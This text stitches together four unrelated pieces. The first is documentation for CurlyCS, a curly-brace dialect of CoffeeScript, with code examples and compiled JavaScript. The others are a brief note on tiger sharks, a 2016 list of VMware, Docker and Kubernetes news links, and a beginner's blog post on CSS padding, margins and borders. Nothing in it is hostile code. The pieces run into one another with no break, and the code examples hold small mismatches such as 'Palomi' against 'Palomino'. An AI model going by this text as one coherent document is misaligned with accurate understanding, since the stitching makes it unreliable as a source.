for (i = k = 0, len1 = courses.length; k < len1; i = ++k) {
dish = courses[i];
menu(i + 1, dish);
}
foods = ['broccoli', 'spinach', 'chocolate'];
for (l = 0, len2 = foods.length; l < len2; l++) {
food = foods[l];
if (food !== 'chocolate') {
eat(food);
}
}
Comprehensions should be able to handle most places where you otherwise would use a loop, each/forEach, map, or select/filter, for example:
shortNames = (name for name in list when name.length < 5)
If you know the start and end of your loop, or would like to step through in fixed-size increments, you can use a range to specify the start and end of your comprehension.
countdown = (num for num in [10..1]);
var countdown, num;
countdown = (function() {
var i, results;
results = [];
for (num = i = 10; i >= 1; num = --i) {
results.push(num);
}
return results;
})();
Note how because we are assigning the value of the comprehensions to a variable in the example above, CurlyCS is collecting the result of each iteration into an array.
To step through a range comprehension in fixed-size chunks,
use by
, for example:
evens = (x for x in [0..10] by 2)
If you don't need the current iteration value you may omit it:
browser.closeCurrentTab() for [0...count]
Comprehensions can also be used to iterate over the keys and values in
an object. Use of
to signal comprehension over the properties of
an object instead of the values in an array.
yearsOld = { max: 10, ida: 9, tim: 11 };
ages = for child, age of yearsOld {
"#{child} is #{age}";
}
var age, ages, child, yearsOld;
yearsOld = {
max: 10,
ida: 9,
tim: 11
};
ages = (function() {
var results;
results = [];
for (child in yearsOld) {
age = yearsOld[child];
results.push(child + " is " + age);
}
return results;
})();
If you would like to iterate over just the keys that are defined on the
object itself, by adding a hasOwnProperty
check to avoid properties that may be inherited from the prototype, use
for own key, value of object
The only low-level loop that CurlyCS provides is the while loop. The main difference from JavaScript is that the while loop can be used as an expression, returning an array containing the result of each iteration through the loop.
# Econ 101
if this.studyingEconomics {
purchase() while supply > demand;
sell() until supply > demand;
}
# Nursery Rhyme
num = 6;
lyrics = while num -= 1 {
"#{num} little monkeys, jumping on the bed.
One fell out and bumped his head.";
}
var lyrics, num;
if (this.studyingEconomics) {
while (supply > demand) {
purchase();
}
while (!(supply > demand)) {
sell();
}
}
num = 6;
lyrics = (function() {
var results;
results = [];
while (num -= 1) {
results.push(num + " little monkeys, jumping on the bed. One fell out and bumped his head.");
}
return results;
})();
For readability, the until keyword is equivalent to while not
,
and the loop keyword is equivalent to while true
.
When using a JavaScript loop to generate functions, it's common to insert
a closure wrapper in order to ensure that loop variables are closed over,
and all the generated functions don't just share the final values. CurlyCS
provides the do
keyword, which immediately invokes a passed function,
forwarding any arguments.
for filename in list {
do (filename) -> {
fs.readFile(filename, (err, contents) -> {
compile(filename, contents.toString());
});
}
}
var filename, fn, i, len;
fn = function(filename) {
return fs.readFile(filename, function(err, contents) {
return compile(filename, contents.toString());
});
}
for (i = 0, len = list.length; i < len; i++) {
filename = list[i];
fn(filename);
}
Try/Catch/Finally Try-expressions have the same semantics as try-statements in JavaScript, though in CurlyCS, you may omit both the catch and finally parts. The catch part may also omit the error parameter if it is not needed.
try {
allHellBreaksLoose();
catsAndDogsLivingTogether();
} catch error {
print(error);
} finally {
cleanUp();
}
var error, error1;
try {
allHellBreaksLoose();
catsAndDogsLivingTogether();
} catch (error1) {
error = error1;
print(error);
} finally {
cleanUp();
}
Functions
Functions are defined by an optional list of parameters in parentheses,
an arrow, and the function body. The empty function looks like this:
-> {}
square = (x) -> { x * x; }
cube = (x) -> { square(x) * x; }
var cube, square;
square = function(x) {
return x * x;
}
cube = function(x) {
return square(x) * x;
}
Functions may also have default values for arguments, which will be used
if the incoming argument is missing (null
or undefined
).
fill = (container, liquid = "coffee") -> {
"Filling the #{container} with #{liquid}...";
}
var fill;
fill = function(container, liquid) {
if (liquid == null) {
liquid = "coffee";
}
return "Filling the " + container + " with " + liquid + "...";
}
Lexical Scoping and Variable Safety
The CurlyCS compiler takes care to make sure that all of your variables
are properly declared within lexical scope — you never need to write
var
yourself.
outer = 1;
changeNumbers = -> {
inner = -1;
outer = 10;
}
inner = changeNumbers();
var changeNumbers, inner, outer;
outer = 1;
changeNumbers = function() {
var inner;
inner = -1;
return outer = 10;
}
inner = changeNumbers();
Notice how all of the variable declarations have been pushed up to the top of the closest scope, the first time they appear. outer is not redeclared within the inner function, because it's already in scope; inner within the function, on the other hand, should not be able to change the value of the external variable of the same name, and therefore has a declaration of its own.
Because you don't have direct access to the var
keyword,
it's impossible to shadow an outer variable on purpose, you may only refer
to it. So be careful that you're not reusing the name of an external
variable accidentally, if you're writing a deeply nested function.
Although suppressed within this documentation for clarity, all
CurlyCS output is wrapped in an anonymous function:
(function(){ ... })();
This safety wrapper, combined with the
automatic generation of the var
keyword, make it exceedingly
difficult to pollute the global namespace by accident.
If you'd like to create top-level variables for other scripts to use,
attach them as properties on window, or on the exports
object in CommonJS. The existential operator (covered below), gives you
a reliable way to figure out where to add them; if you're targeting both
CommonJS and the browser: exports ?? this
Splats...
The JavaScript arguments object is a useful way to work with
functions that accept variable numbers of arguments. CurlyCS provides
splats ...
, both for function definition as well as invocation,
making variable numbers of arguments a little bit more palatable.
gold = silver = rest = "unknown";
awardMedals = (first, second, others...) -> {
gold = first;
silver = second;
rest = others;
}
contenders = [
"Michael Phelps",
"Liu Xiang",
"Yao Ming",
"Allyson Felix",
"Shawn Johnson",
"Roman Sebrle",
"Guo Jingjing",
"Tyson Gay",
"Asafa Powell",
"Usain Bolt"
];
awardMedals(contenders...);
alert("Gold: " + gold);
alert("Silver: " + silver);
alert("The Field: " + rest);
var awardMedals, contenders, gold, rest, silver,
slice = [].slice;
gold = silver = rest = "unknown";
awardMedals = function() {
var first, others, second;
first = arguments[0], second = arguments[1], others = 3 <= arguments.length ? slice.call(arguments, 2) : [];
gold = first;
silver = second;
return rest = others;
}
contenders = ["Michael Phelps", "Liu Xiang", "Yao Ming", "Allyson Felix", "Shawn Johnson", "Roman Sebrle", "Guo Jingjing", "Tyson Gay", "Asafa Powell", "Usain Bolt"];
awardMedals.apply(null, contenders);
alert("Gold: " + gold);
alert("Silver: " + silver);
alert("The Field: " + rest);
Bound Functions
In JavaScript, the this
keyword is dynamically scoped to mean the current object that a function is attached to. If you pass a function as a callback or attach it to a different object, the original value of this
will be lost.
In CurlyCS, the fat arrow =>
can be used to both define a function, and to bind it to the current value of this
, right on the spot. This is helpful when using callback-based libraries like Prototype or jQuery, for creating iterator functions to pass to each
, or event-handler functions to use with on
. Functions created with the fat arrow are able to access properties of the this
where they're defined.
Account = (customer, cart) -> {
@customer = customer;
@cart = cart;
$('.shopping_cart').on('click', (event) => {
@customer.purchase(@cart);
});
}
var Account;
Account = function(customer, cart) {
this.customer = customer;
this.cart = cart;
return $('.shopping_cart').on('click', (function(_this) {
return function(event) {
return _this.customer.purchase(_this.cart);
}
})(this));
}
If we had used ->
in the callback above, @customer
would
have referred to the undefined "customer" property of the DOM element,
and trying to call purchase()
on it would have raised an exception.
When used in a class definition, methods declared with the fat arrow will be automatically bound to each instance of the class when the instance is constructed.
Generator Functions
CurlyCS also supports ES6 generator functions through the yield
keyword. There's no function* () {}
nonsense — a generator in CurlyCS is simply a function that yields.
perfectSquares = -> {
num = 0;
loop {
num += 1;
yield(num * num);
}
return;
}
window.ps or= perfectSquares();
var perfectSquares;
perfectSquares = function*() {
var num;
num = 0;
while (true) {
num += 1;
(yield num * num);
}
}
window.ps || (window.ps = perfectSquares());
In case that you need to force a generator that doesn't yield, you may use yield return
.
Classes, Inheritance and Super
CurlyCS provides a basic class
structure that allows you to name your class, set its superclass, assign prototypal properties, and define the constructor, in a single assignable expression.
Class definitions, as shown in the example below, are blocks of assignment statements, using :
instead of =
, and separated with ,
instead of ;
. In the example below, both name
and price
are declared as instance properties while move
and sell
are instance methods. Within the constructor
method or any instance method, this
or @
refers to the instance. The way of using @name
in the constructor
method is a shorthand of setting instance properties.
In the context of a class definition, however, this
or @
is the class itself. So, static properties and methods can be declared by setting them directly on this
, just like the declaration of the static method @find
in the example below.
constructor
methods are named to better support helpful stack traces. In the first class in the example below, this.constructor.name is "Animal"
.
class Animal {
constructor: (@name) -> { },
price: 5,
move: (meters) -> {
alert(@name + " moved #{meters}m.");
},
sell: -> {
alert("Give me #{@price} dollars!");
},
@find: (who) -> {
alert("Found #{who}.");
}
}
class Snake extends Animal {
move: -> {
alert("Slithering...");
super(10);
}
}
class Horse extends Animal {
move: -> {
alert("Galloping...");
super(45);
}
}
sam = new Snake("Sammy the Python");
tom = new Horse("Tommy the Palomi");
sam.move();
tom.move();
var Animal, Horse, Snake, sam, tom,
extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },
hasProp = {}.hasOwnProperty;
Animal = (function() {
function Animal(name) {
this.name = name;
}
Animal.prototype.price = 5;
Animal.prototype.move = function(meters) {
return alert(this.name + (" moved " + meters + "m."));
};
Animal.prototype.sell = function() {
return alert("Give me " + this.price + " dollars!");
};
Animal.find = function(who) {
return alert("Found " + who + " .");
};
return Animal;
})();
Snake = (function(superClass) {
extend(Snake, superClass);
function Snake() {
return Snake.__super__.constructor.apply(this, arguments);
}
Snake.prototype.move = function() {
alert("Slithering...");
return Snake.__super__.move.call(this, 10);
}
return Snake;
})(Animal);
Horse = (function(superClass) {
extend(Horse, superClass);
function Horse() {
return Horse.__super__.constructor.apply(this, arguments);
}
Horse.prototype.move = function() {
alert("Galloping...");
return Horse.__super__.move.call(this, 45);
}
return Horse;
})(Animal);
sam = new Snake("Sammy the Python");
tom = new Horse("Tommy the Palomino");
sam.move();
tom.move();
If structuring your prototypes classically isn't your cup of tea, CurlyCS
provides a couple of lower-level conveniences. extends
helps with proper prototype setup, and can be used to create an inheritance
chain between any pair of constructor functions; ::
gives you
quick access to an object's prototype; and super()
is
converted into a call to the immediate ancestor's method of the same name.
String::dasherize = -> {
this.replace(/_/g, "-");
}
String.prototype.dasherize = function() {
return this.replace(/_/g, "-");
}
Everything is an Expression (at least, as much as possible) You might have noticed how even though we don't add return statements to CurlyCS functions, they nonetheless return their final values. The CurlyCS compiler tries to make sure that all statements in the language can be used as expressions.
Watch how the return
gets pushed down into each possible branch of execution in the example below.
grade = (student) -> {
if student.excellentWork {
"A+";
} else if student.okayStuff {
if student.triedHard { "B" } else { "B-" };
} else {
"C";
}
}
eldest = if 24 > 21 { "Liz" } else { "Ike" };
var eldest, grade;
grade = function(student) {
if (student.excellentWork) {
return "A+";
} else if (student.okayStuff) {
if (student.triedHard) {
return "B";
} else {
return "B-";
}
} else {
return "C";
}
}
eldest = 24 > 21 ? "Liz" : "Ike";
Even though functions will always return their final value, it's both possible
and encouraged to return early from a function body writing out the explicit
return (return value
), when you know that you're done.
Because variable declarations occur at the top of scope, assignment can be used within expressions, even for variables that haven't been seen before:
six = (one = 1) + (two = 2) + (three = 3);
var one, six, three, two;
six = (one = 1) + (two = 2) + (three = 3);
Things that would otherwise be statements in JavaScript, when used as part of an expression in CurlyCS, are converted into expressions by wrapping them into a closure. This lets you do useful things, like assign the result of a comprehension to a variable:
# The first ten global properties.
globals = (name for name of window)[0...10];
var globals, name;
globals = ((function() {
var results;
results = [];
for (name in window) {
results.push(name);
}
return results;
})()).slice(0, 10);
As well as silly things, like passing a try/catch statement directly into a function call:
alert(
try {
nonexistent / undefined;
} catch error {
"And the error is ... #{error}";
}
);
var error;
alert((function() {
var error1;
try {
return nonexistent / void 0;
} catch (error1) {
error = error1;
return "And the error is ... " + error;
}
})());
There are a handful of statements in JavaScript that can't be meaningfully
converted into expressions, namely break
, continue
,
and return
. If you make use of them within a block of code,
CurlyCS won't try to perform the conversion.
Chained Comparisons CurlyCS borrows chained comparisons from Python — making it easy to test if a value falls within a certain range.
cholesterol = 127;
healthy = 200 > cholesterol > 60;
var cholesterol, healthy;
cholesterol = 127;
healthy = (200 > cholesterol && cholesterol > 60);
Existential Operator
It's a little difficult to check for the existence of a variable in JavaScript. if (variable) ...
comes close, but fails for zero, the empty string and false. CurlyCS's existential operator ?
returns true unless a variable is null or undefined.
The assignment variant ?=
can be used for safer conditional assignment than ||=
, for cases where you may be handling numbers or strings.
The logical variant ??
returns either the value of the left variable if it's not null or undefined, or the value of the right expression otherwise.
solipsism = true if mind? and not world?;
speed = 100;
speed ?= 15;
footprints = yeti ?? "bear";
var footprints, solipsism, speed;
if ((typeof mind !== "undefined" && mind !== null) && (typeof world === "undefined" || world === null)) {
solipsism = true;
}
speed = 100;
if (speed == null) {
speed = 15;
}
footprints = typeof yeti !== "undefined" && yeti !== null ? yeti : "bear";
The accessor variant ?.
can be used to soak up null references in a chain of operations. Use it instead of the dot accessor .
in cases where the base value may be null or undefined. If all of the properties exist then you'll get the expected result, if the chain is broken, undefined is returned instead of the TypeError that would be raised otherwise.
zip = lottery.drawWinner?().address?.zipcode;
var ref, zip;
zip = typeof lottery.drawWinner === "function" ? (ref = lottery.drawWinner().address) != null ? ref.zipcode : void 0 : void 0;
String Interpolation
Double-quoted strings allow for interpolated values, using #{ ... }
, and single-quoted strings are literal. You may even use interpolation in object keys.
author = "Wittgenstein";
quote = "A picture is a fact. -- #{ author }";
sentence = "#{ 22 / 7 } is a decent approximation of π";
var author, quote, sentence;
author = "Wittgenstein";
quote = "A picture is a fact. -- " + author;
sentence = (22 / 7) + " is a decent approximation of π";
Multiline Strings Multiline strings are allowed in CurlyCS. Lines are joined by a single space unless they end with a backslash. Indentation is ignored.
mobyDick = "Call me Ishmael. Some years ago --
never mind how long precisely -- having little
or no money in my purse, and nothing particular
to interest me on shore, I thought I would sail
about a little and see the watery part of the
world...";
var mobyDick;
mobyDick = "Call me Ishmael. Some years ago -- never mind how long precisely -- having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world...";
Block Strings Block strings can be used to hold formatted or indentation-sensitive text (or, if you just don't feel like escaping quotes and apostrophes). The indentation level that begins the block is maintained throughout, so you can keep it all aligned with your code.
html = """
<strong>
cup of coffee
</strong>
""";
var html;
html = "<strong>\n cup of coffee\n</strong>";
Double-quoted block strings, like other double-quoted strings, allow interpolation.
Block Comments Sometimes you'd like to pass a block comment through to the generated JavaScript. For example, when you need to embed a licensing header at the top of a file. Block comments, which mirror the syntax for block strings, are preserved in the generated code.
###
SkinnyMochaHalfCaffScript Compiler v1.0
Released under the MIT License
###
/*
SkinnyMochaHalfCaffScript Compiler v1.0
Released under the MIT License
*/
Block Regular Expressions
Similar to block strings and comments, CurlyCS supports block regexes —
extended regular expressions that ignore internal whitespace and can contain
comments and interpolation. Block regexes are delimited by ///
and go a long way towards making complex regular expressions readable. To
quote from the CurlyCS source:
OPERATOR = /// ^ (
?: [-=]> # function
| [-+*/%<>&|^!?=]= # compound assign / compare
| >>>=? # zero-fill right shift
| ([-+:])\1 # doubles
| ([&|<>])\2=? # logic / shift
| \?\. # soak access
| \.{2,3} # range or splat
) ///;
var OPERATOR;
OPERATOR = /^(?:[-=]>|[-+*\/%<>&|^!?=]=|>>>=?|([-+:])\1|([&|<>])\2=?|\?\.|\.{2,3})/;
Embedded JavaScript Hopefully, you'll never need to use it, but if you ever need to intersperse snippets of JavaScript within your CurlyCS, you can use backticks to pass it straight through.
hi = `function() {
return [document.title, "Hello JavaScript"].join(": ");
}`;
var hi;
hi = function() {
return [document.title, "Hello JavaScript"].join(": ");
}
CurlyCS includes a (very) simple build system called Cake, and it's used for the tasks that build and test the CurlyCS language itself. Tasks are defined in a file named Cakefile
, and can be invoked by running cake [task]
from within the directory. To print a list of all the tasks and options, just type cake
.
Task definitions are written in CurlyCS, so you can put arbitrary code in your Cakefile. Define a task with a name, a long description, and the function to invoke when the task is run. If your task takes a command-line option, you can define the option with short and long flags, and it will be made available in the options
object. Here's a task that uses the Node.js API to rebuild CurlyCS's parser:
fs = require('fs');
option('-o', '--output [DIR]', 'directory for compiled code');
task('build:parser', 'rebuild the Jison parser', (options) -> {
require('jison');
code = require('./lib/grammar').parser.generate();
dir = options.output or 'lib';
fs.writeFile("#{dir}/parser.js", code);
});
var fs;
fs = require('fs');
option('-o', '--output [DIR]', 'directory for compiled code');
task('build:parser', 'rebuild the Jison parser', function(options) {
var code, dir;
require('jison');
code = require('./lib/grammar').parser.generate();
dir = options.output || 'lib';
return fs.writeFile(dir + "/parser.js", code);
});
If you need to invoke one task before another — for example, running
build
before test
, you can use the invoke
function:
invoke 'build'
. Cake tasks are a minimal way to expose your
CurlyCS functions to the command line, so
don't expect any fanciness built-in.
If you need dependencies, or async callbacks, it's best to put them in your
code itself — not the cake task.
Except for having a different syntax, CurlyCS is just CoffeeScript. The compiled outputs of CurlyCS code and its equivalent CoffeeScript code are the same JavaScript code. This section presents all of major syntax differences between CurlyCS and CoffeeScript.
CurlyCS code on the left, equivalent CoffeeScript code on the right.
Code blocks, such as function and class bodies, conditional and loop statements, try/catch, etc., must be surrounded with curly braces { }
in CurlyCS instead of indentation.
grade = (student) -> {
if student.excellentWork {
"A+"
} else if student.okayStuff {
if student.triedHard { "B" } else { "B-" }
} else {
"C"
}
}
class Animal {
constructor: (@name) -> { },
move: (meters) -> {
alert(@name + " moved #{meters}m.")
}
}
grade = switch {
when score < 60 { 'F' }
when score < 70 { 'D' }
when score < 80 { 'C' }
when score < 90 { 'B' }
else { 'A' }
}
ages = for child, age of yearsOld {
"#{child} is #{age}"
}
try {
catsAndDogsLivingTogether()
} catch error {
print(error)
} finally {
cleanUp()
}
grade = (student) ->
if student.excellentWork
"A+";
else if student.okayStuff
if student.triedHard then "B" else "B-"
else
"C"
class Animal
constructor: (@name) ->
move: (meters) ->
alert @name + " moved #{meters}m."
grade = switch
when score < 60 then 'F'
when score < 70 then 'D'
when score < 80 then 'C'
when score < 90 then 'B'
else 'A'
ages = for child, age of yearsOld
"#{child} is #{age}"
try
catsAndDogsLivingTogether()
catch error
print error
finally
cleanUp();
In CurlyCS, any statement that isn't the last one in a script or a block, must be terminated with a semicolon ;
when it is not in class bodies or a comma ,
when it is. Blocks don't need terminators.
singers = {Jagger: "Rock", Elvis: "Roll"};
outer = 1;
changeNumbers = -> {
inner = -1;
outer = 10 # the last statement in the block
}
cleanUp();
# the last statement in the script
countdown = (num for num in [10..1])
singers = {Jagger: "Rock", Elvis: "Roll"}
outer = 1
changeNumbers = ->
inner = -1
outer = 10
cleanUp()
countdown = (num for num in [10..1])
In CurlyCS, the arguments of a function must be wrapped in parentheses ( )
. An empty parentheses ()
is needed for invoking a function with no arguments but is optional for defining it.
cube = (x) -> { square(x) * x }
times(plus(1, 2), minus(3, 4));
r = f([1]);
sayHi = -> { alert("Hi") }
sayHi()
cube = x -> square(x) * x
times plus 1, 2, minus 3, 4
r = f [1] # Here is a function call, not the same as 'f[1]'
sayHi = -> alert "Hi"
sayHi()
In CurlyCS, objects must be created using explicit curly braces. Elements in arrays and objects must be separated by commas ,
instead of indentations.
bitlist = [
1, 0, 1,
0, 0, 1,
1, 1, 0
];
kids = {
brother: {
name: "Max",
age: 11
},
sister: {
name: "Ida",
age: 9
}
};
bitlist = [
1, 0, 1
0, 0, 1
1, 1, 0
]
kids =
brother:
name: "Max"
age: 11
sister:
name: "Ida"
age: 9
In CurlyCS, an empty object is written as {:}
while an empty curly braces {}
represents an empty block.
class Person {
constructor: (@name, options = {:}) -> {}
}
class Person
constructor: (@name, options = {}) ->
In CurlyCS, a colon :
is needed in front of the element name in the shorthand notation for objects.
{:name, :age, :height = 'average'} = { name: 'Tim', age: 4 };
{name, age, height = 'average'} = { name: 'Tim', age: 4 }
The keyword then
used for writing single line statements in CoffeeScript is dropped in CurlyCS.
date = if friday { sue } else { jill }
for prop in properties when prop.isValid { return yes }
date = if friday then sue else jill
for prop in properties when prop.isValid then return yes
Logical operator ?
in CoffeeScript is replaced with ??
in CurlyCS. So whitespace is no longer needed to differentiate between logical existential operators.
# Both '?' are existential operators
solipsism = true if mind ? and not world?;
# Here is logical operator '??'
footprints = yeti ?? "bear";
# '?' must be right behind the variables
solipsism = true if mind? and not world?
# There must be a space in front of '?'
footprints = yeti ? "bear"
CoffeeScript allows to declare variables inside class
definitions using assignment statements =
. Such syntax is illegal in CurlyCS.
class A {
b: 'c' # define instance property
}
class A
b: 'c' # define instance property
d= 'e' # banned in CurlyCS
The CurlyCS compiler itself has been completely implemented in CurlyCS, using the Jison parser generator. The command-line version of curly-cs
is available as a Node.js utility. The core compiler, however, does not depend on Node, and can be run in any JavaScript environment, or in the browser (see "Try CurlyCS", above).
To install, first make sure you have a working copy of the latest stable version of Node.js. You can then install CurlyCS globally with npm:
npm install -g curly-cs
If you'd prefer to install the latest master version of CurlyCS, you can clone the CurlyCS source repository from GitHub, or download the source directly.
Once installed, you should have access to the ccs
command,
which can execute scripts, compile .ccs
files into .js
,
and provide an interactive REPL. The ccs
command takes the
following options:
-c, --compile |
Compile a .ccs script into a .js JavaScript file
of the same name.
|
-m, --map |
Generate source maps alongside the compiled JavaScript files. Adds
sourceMappingURL directives to the JavaScript as well.
|
-i, --interactive |
Launch an interactive CurlyCS session to try short snippets.
Identical to calling ccs with no arguments.
|
-o, --output [DIR] |
Write out all compiled JavaScript files into the specified directory.
Use in conjunction with --compile or --watch .
|
-j, --join [FILE] |
Before compiling, concatenate all scripts together in the order they were passed, and write them into the specified file. Useful for building large projects. |
-w, --watch |
Watch files for changes, rerunning the specified command when any file is updated. |
-p, --print |
Instead of writing out the JavaScript as a file, print it directly to stdout. |
-s, --stdio |
Pipe in CurlyCS to STDIN and get back JavaScript over STDOUT.
Good for use with processes written in other languages. An example:cat src/cake.ccs | ccs -sc
|
-l, --literate |
Parses the code as Literate CurlyCS. You only need to specify this when passing in code directly over stdio, or using some sort of extension-less file name. |
-e, --eval |
Compile and print a little snippet of CurlyCS directly from the
command line. For example:ccs -e "console.log(num for num in [10..1])"
|
-b, --bare |
Compile the JavaScript without the top-level function safety wrapper. |
-t, --tokens |
Instead of parsing the CurlyCS, just lex it, and print out the
token stream: [IDENTIFIER square] [ASSIGN =] [PARAM_START (] ...
|
-n, --nodes |
Instead of compiling the CurlyCS, just lex and parse it, and print
out the parse tree:
Expressions Assign Value "square" Code "x" Op * Value "x" Value "x" |
--nodejs |
The node executable has some useful options you can set,
such as--debug , --debug-brk , --max-stack-size ,
and --expose-gc . Use this flag to forward options directly to Node.js.
To pass multiple flags, use --nodejs multiple times.
|
Examples:
.ccs
files in src
into a parallel
tree of .js
files in lib
:ccs --compile --output lib/ src/
ccs --watch --compile experimental.ccs
ccs --join project.js --compile src/*.ccs
ccs -bpe "alert(i) for i in [0..10]"
ccs -o lib/ -cw src/
Ctrl-D
to exit, Ctrl-V
for multi-line):ccs
While it's not recommended for serious use, CurlyCS code may be included directly within the browser using <script type="text/curlycs">
tags. The source contains a compressed and minified version of the compiler (download the current version here) as extras/curly-cs.js
. Include the compiler on a web page with inline CurlyCS tags, and it will compile and evaluate them in order.
In fact, the little bit of glue script that runs "Try CurlyCS" above is implemented in just this way. View source and look at the bottom of the page to see the example. Including the compiler also gives you access to CurlyCS.compile()
so you can pop open Firebug and try compiling some strings.
The usual caveat about CurlyCS apply — your inline code will run within a closure wrapper, so if you want to expose global variables or functions, attach them to the window
object.


While they found a license plate in the Great White in Jaws, the Tiger Shark is known as the garbage can of the sea because of their propensity to eat anything!
Easily identifiable by the dark stripes on their skin, like tigers on land, the tiger shark is one of the largest shark species. They have serrated teeth, allowing them to chew through turtle shells, and nearly anything else they can fit in their mouth. Currently the IUCN lists tiger sharks as "Near Threatened" as a result of commercial and recreational overfishing.


Tech News - Week 26
24 Jun 2016
- Docker Volume vSphere - Beta Released -
Link
- Installing and configuring EMC ScaleIO 2.0 and PernixData FVP – Part 1: ScaleIO -
Link
- Automation Leveraging NSX REST API Guide (PDF) -
Link
- vSphere HTML5 Web Client 1.11 -
Link
- vSphere Integrated Containers Version v0.3.0 -
Link
- Using the vSphere API to remotely collect ESXi configuration file (esx.conf) -
Link
- Test driving ContainerX on VMware vSphere -
Link
- The mobile SDDC and EUC lab environment -
Link
- New Home Lab Hardware - Dual Socket Xeon v4 -
Link
- PernixCloud Data: FVP Latency Compared To SAN Latency -
Link
- Hitachi Unified Compute Platform demo impressed me -
Link
- F5 Reference Architecture for VMware NSX -
Link
- New and updated KB articles for NSX for vSphere 6.2.3 -
Link
- CBT Bugs VMware Can’t keep letting this happen -
Link
Misc
- Why do we work so hard ? -
Link
- The macOS Sierra developer preview: Different name, same ol’ Mac -
Link
- About Kubernetes -
Link
- Kubernetes step by step -
Link
- Independence from L2 Data Centers -
Link
- Developing Inside Docker Containers with OS X (2016) -
Link
- Integration Testing With Docker Compose -
Link
- DockerCon 2016 Day 1 Keynote -
Link |
Video
- DockerCon 2016 Day 2 Keynote -
Link
- DockerCon 2016 Vendor Meetings -
Link
- What’s New in Docker: Swarm Mode, Built in Orchestration, Services, Healthchecks, DAB -
Link
- Docker 1.12 orchestration built-in -
Link
- More Microservices Bliss with Docker 1.12 and Swarm only -
Link
- Docker Engine 1.12 comes with built-in Distribution & Orchestration System -
Link
- Docker for Mac and Windows out of private beta -
Mac |
Windows
- Introducing the Docker Store Private Beta -
Link
- Refactoring a Dockerfile for image size -
Link
- Docker Datacenter in AWS and Azure in a few clicks -
Link
- Introducing Experimental Distributed Application Bundles -
Link
- DockerCon US 2016 - Docker Networking deep dive -
Link
- An Asynchronous Shell Prompt -
Link
- The New Normal: Minimize risk by maximizing change -
Link
- 1 year, lessons learned from a 0 to Kubernetes transition -
Link
- One year using Kubernetes in production: Lessons learned -
Link
- The Power of Platform9: Managed Kubernetes -
Link
- Running #Minecraft in a Windows Container using #Docker -
Link
- Monitoring de votre serveur avec Telegraf, InfluxDB et Grafana (French) -
Link
- A Packer template for Windows Nano server weighing 300MB -
Link
- Stop saying learning to code is easy -
Link
- Data visualization made easy -
Link |
Sample 1 |
Sample 2
- How To Harness The Machines: Being Productive With Task Runners -
Link
- Code usage examples in your editor, as you type -
Link
- watchmen: a service monitor for node.js -
Link
- Distraction-Free Split View with Sublime Text -
Link
- Hueman WordPress Theme: Free and Feature-packed -
Link
- Monitoring and Tuning the Linux Networking Stack: Receiving Data -
Link
- Oceanic Next Color Scheme -
Link
- Grafana 3.1 Beta Released -
Link
- SnappySnippet -
Link
- diff-so-fancy -
Link
Be social and share this post!


Padding, Margin, and Borders: The Three Amigos of Spacing
When I first started out with HTML and CSS (so like, 10 days ago), these attributes could hardly be labeled with such an amicable term. The difference between the three seemed so simple when I would read about it, but somehow in practice they appeared to cause so many delightful little quirks to the layout of a web page. Incidentally, they weren't so much amigos as they were a trifecta of confusion made by el diablo.
But I think I'm getting a handle on them. Rather than giving the same explanation with the same diagram that new web developers have inevitably seem multiple times, I thought it would be best to go through an example wherein I tinkered with the padding, margin, and borders of the heading elements within a single div.
Note that for the "CSS" code column within each figure, any attributes set to a value greater than 0 are underlined. In addition, in each subsequent figure, the code that has been modified appears in red text.
The figure above is our starting point. For each header, the top margin has been set to 20px; top margin area is represented by the orange stripes. Note that this is solely for demonstration purposes, as padding and margin cannot be set to specific colors. Rather, they are attributes to help with spacing, so they take on the background color of the parent container. (Thus I was able to represent the margin areas for each header by setting the background color of the div to orange.)
The bottom padding for each header is set to 20px. I intentionally did not attempt to represent padding with color because A) there's not really an easy way to differentiate the "padding" area in CSS, and B) it gets confusing to see where each element begins and ends when there are too many colors. However, you can see that there is significantly greater white space underneath each blue heading than there is above it. That's because the bottom padding is set to 20px, whereas the top padding is set to 0.
Observation: Since each white box represents an individual heading element, you can see that have a padding greater than 0 will add to the size of the element.
Question: What happens if the content of Heading#1 is removed? Let's find out:
Although the text of Heading#1 has been removed, there is still an h1 tag in the HTML.
Observation: The padding-bottom attribute still applies to Heading#1 even though that element is empty. So that first strip of white space in the div is the bottom padding for Heading#1.
Question: What if we reduce the bottom padding to 2px?
The amount of white space below each piece of blue text got smaller because the bottom padding was reduced. You can see that the padding-bottom for Heading#1 is still there, but smaller, as represented by skinny white line.
Observation: Those first two orange strips, which represents the margin-top of Heading#1 and the margin-top of Heading#2, are extremely close together now, separated only by the 2-pixel bottom padding of Heading#1.
Question: What would happen if I get rid of that skinny white line at the top by setting the padding-bottom attribute to 0? Will the two top margins (the top two orange stripes) converge and make a super-margin of 40px?
Observation: The two top margins (for Heading#1 and Heading#2) did NOT converge into super margin! Why? Because the purpose of the margin is to create spacing between elements. Even though Heading#1 is technically there, it contains no text and no padding, so that element now takes up no space.
Here's another way of thinking about the margin situation: it's NOT as simple as "top element's margin-bottom + bottom element's margin-top = combined margin width between elements". That would be too intuitive.
The margin is an element's way of saying, "No one come any closer than this many pixels!" Therefore if the margin-bottom of the top element exceeds the margin-top of the element below it, the actual margin that appears between elements will be the bigger one.
This can be confusing, because padding does seem to operate by the additive equation. Remember, increasing the padding increases the space between the text and the edge of the element, thus affecting the size of that individual element.
Question: If we add a border to each heading, will the margin-top for Heading#1 re-appear?
Observation: The margin-top attribute for Heading#1 reappeared! The border is the only one of these three attributes that you can set to a color. The border is meant to be a visible, space-consuming part of an element, as opposed to just be an attribute that affects spacing within and between elements. Therefore, even though Heading#1 still has no text content, it takes up some space within the div because its purple border takes space within the div. This is why its margin-top attribute re-appeared.
Question: What happens when we increase the width of the borders, and REMOVE the margin-top attribute from the CSS?
Observation: Increasing the width of the borders increasing the size of the div, just as we observed with the padding. But why is there still orange space between those borders? Didn't we get rid of the margin-top attribute?
Question: What happens if you explicitly set the margin-top attribute to 0 rather than just removing that attribute altogether?
Observation: Aha! Now the orange has gone away altogether! This is because each heading element still has default settings. Thus there will always be somewhat of a top margin unless we specify otherwise. By setting the margin-top to 0, we override that default setting and make the margin disappear.
Question: What if we just set border, padding, and margin to 0?
Observation: This is now as compact as the headings can possibly be within the div.
